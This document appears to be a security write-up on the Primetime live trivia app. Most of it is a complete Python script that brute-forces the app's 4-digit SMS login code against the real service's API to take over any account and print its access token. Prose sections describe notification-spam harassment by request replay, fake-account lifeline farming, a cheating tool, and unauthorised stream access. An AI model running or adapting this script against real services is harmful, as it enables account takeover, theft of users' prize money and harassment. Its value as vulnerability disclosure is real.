Primetime
5 minute read
Primetime is a live trivia game application for Android and iOS platforms, where users compete for monetary rewards by answering questions within 10 seconds. The security measures implemented by the team behind the Primetime API have been found lacking, resulting in a variety of exploits.
Tools Used
- Python: The main programming language for conducting exploits.
- Fiddler: Utilized for intercepting and analyzing network requests.
- Android Studio: Employed for emulating an Android environment.
Exploits
Login Bypass
In order to sign in to your primetime account you need to enter your phone number into the app, after which an SMS containing a 4 digit OPT will be sent to your phone, that is then used for you to sign into the application.
The problem is that this 4 digit OTP only has 10,000 possible combinations and that the server never sets a cooldown for entering the password. By iterating through all possible values, one can login to any account within 2 minutes. This gets even worse considering an attacker could take out all prizemoney from the account, with virtually zero effort.
The python script below preforms the attack automatically:
Example Python Script for Attack
import requests
import hashlib
import _thread
import json
from time import sleep
# Enter number here
NUMBER = input('Enter phone number: ')
REFFERAL = 123456
DONE = False
PAUSE = False
# Fix
true = True
false = False
# Dicts from source APK
AuthenticationStatus = {0: "NOT_SET", 100: "FAILED_TO_SEND_SMS", 110: "FAILED_TO_VERIFY_CODE",
115: "USERNAME_REQUIRED", 120: "USERNAME_TAKEN", 130: "USERNAME_NOT_VALID", 200: 'OK', 300: "BLOCKED"}
def byte_len(string):
return len(string.encode('utf-8'))
def create_named_account(deviceId, code, name):
data = name
content_length = str(byte_len(data))
r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
params={'id': deviceId, 'code': code,
'referral': REFFERAL},
headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': content_length, 'Host': 'sv-services.sventertainment.se',
'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
data=data.encode('utf-8'))
status = r.status_code
if status == 200:
request_json = r.json()
else:
print("Unexpected server status:", status)
print('Response:', AuthenticationStatus[request_json['status']])
if request_json['status'] == 200:
return r.text
else:
return False
def validate_request(i):
global DONE, PAUSE
r = requests.post('http://sv-services.sventertainment.se/api/services/signIn',
params={'id': deviceId, 'code': '%04d' % i},
headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': '2',
'Host': 'sv-services.sventertainment.se',
'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0',
'Connection': 'Keep-Alive'},
data='{}')
status = r.status_code
if status == 200:
request_json = r.json()
else:
print("Unexpected server status:", status)
if request_json['status'] == 200:
DONE = True
sleep(3)
headers = r.headers
file = open(
r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
file.write(r.text)
file.close()
print(
f'Key found: {i}\nNew login written to file,\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
print('Name:', request_json['device']['user']['username'])
print('Nr:', request_json['device']['phone'])
print('Token:', request_json['device']['accessToken'])
print('ID:', request_json['device']['id'])
quit()
elif request_json['status'] == 115:
PAUSE = True
print(
f'Key found: {i}\nNumber does not have an account yet\n')
name = input("Please enter the new account name here: ")
account_creation = create_named_account(deviceId, '%04d' % i, name)
while account_creation is False:
name = input("Name has already been used, enter another one: ")
account_creation = create_named_account(deviceId, '%04d' % i, name)
file = open(
r'C:\Users\{USER_ACCOUNT}\AppData\Local\Programs\Fiddler\MyCool\correct_login', 'w+', encoding='utf-8')
file.write(account_creation)
file.close()
print('New login written to file\nOpen Primetime and enable AutoResponder in fiddler to login from bluestacks\n')
request_json = json.loads(account_creation)
print('Name:', request_json['device']['user']['username'])
print('Nr:', request_json['device']['phone'])
print('Token:', request_json['device']['accessToken'])
print('ID:', request_json['device']['id'])
PAUSE = False
DONE = True
quit()
quit()
hash_object = hashlib.md5(NUMBER.encode())
hash = hash_object.hexdigest()
while 1:
r = requests.post('http://sv-services.sventertainment.se/api/services/register',
params={'token': hash},
headers={'Content-Type': 'application/json; charset=UTF-8', 'Content-Length': str(byte_len(NUMBER)), 'Host': 'sv-services.sventertainment.se',
'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.12.0', 'Connection': 'Keep-Alive'},
data=NUMBER.encode('utf-8'))
status = r.status_code
if status == 200:
request_json = r.json()
else:
print("Unexpected server status:", status)
print('Quitting...')
quit()
if request_json['status'] == 200:
deviceId = request_json['deviceId']
if deviceId == 2887:
answer = input('Device ID is 2887, continue? [y/n]: ')
if answer.lower() != 'y':
quit()
else:
print('Device ID:', deviceId)
break
else:
print('Response:', AuthenticationStatus[request_json['status']])
answer = input('Try again? [y/n]: ')
if answer.lower() != "y":
print('Quitting...')
quit()
for i in range(10000):
_thread.start_new_thread(validate_request, (i,))
sleep(0.015)
if DONE:
sleep(5)
quit()
elif PAUSE:
while PAUSE:
sleep(1)
elif i % 100 == 0:
print(i)
Notification spam
Users can invite other users to compete over who can complete the most challenges, an action that can only be done practically once before every game and triggers a notification on the challenged players device.
However, this limitation is only client side, meaning one could replay the request more times than the server would expect. The request can be captured with a proxy like Fiddler, something that is possible because primetime communicates to its servers over plain-text HTTP. After capturing the request an attacker could replay it thousands of times, until the user would be forced to delete the app because of the inconvenience of having the phone ringing all the time.
Free lifelines
By exploiting the login bypass bug, it is also possible to create new accounts using non-existent phone numbers. These new accounts can enter a code pointing to the ID of another user, and give the corresponding user a lifeline.
Although lifelines are not very useful to have in large quantities in of themselves (as you can only use one per game), they are able of putting you on the global top list for having the most lifelines. This can be exploited by advertisers to spread light on their products, although that is admittedly a bit far fetched.
Primeprize GUI
The primeprize GUI is a program made in python with the goal of helping the user during the quiz. It achieves this in several ways:
- The user can answer after time has run out
- The user can read the question and alternatives before it's displayed in the app
- The user gets a computer generated guess of what the right answer is
- The user can answer with an unlimited amount of accounts at once
For the time being the program requires the following to be installed:
- Android studio
- Wireshark
Both of these programs are for capturing the incoming network traffic, that is then parsed by the main program.
Access stream 24/7
During the quiz the hosts stream themselves commenting on the questions, and after the program ends the stream is supposed to be closed. However, as the technical team included the API-key in plain text request to the client (which by the way is never changed) it is possible for any user to connect to the stream long after the quiz has ended.
A simpler way to connect to the stream is simply to block all the packets that tell the client to close the stream, and the client will continue to display the stream. This can be done through Fiddler.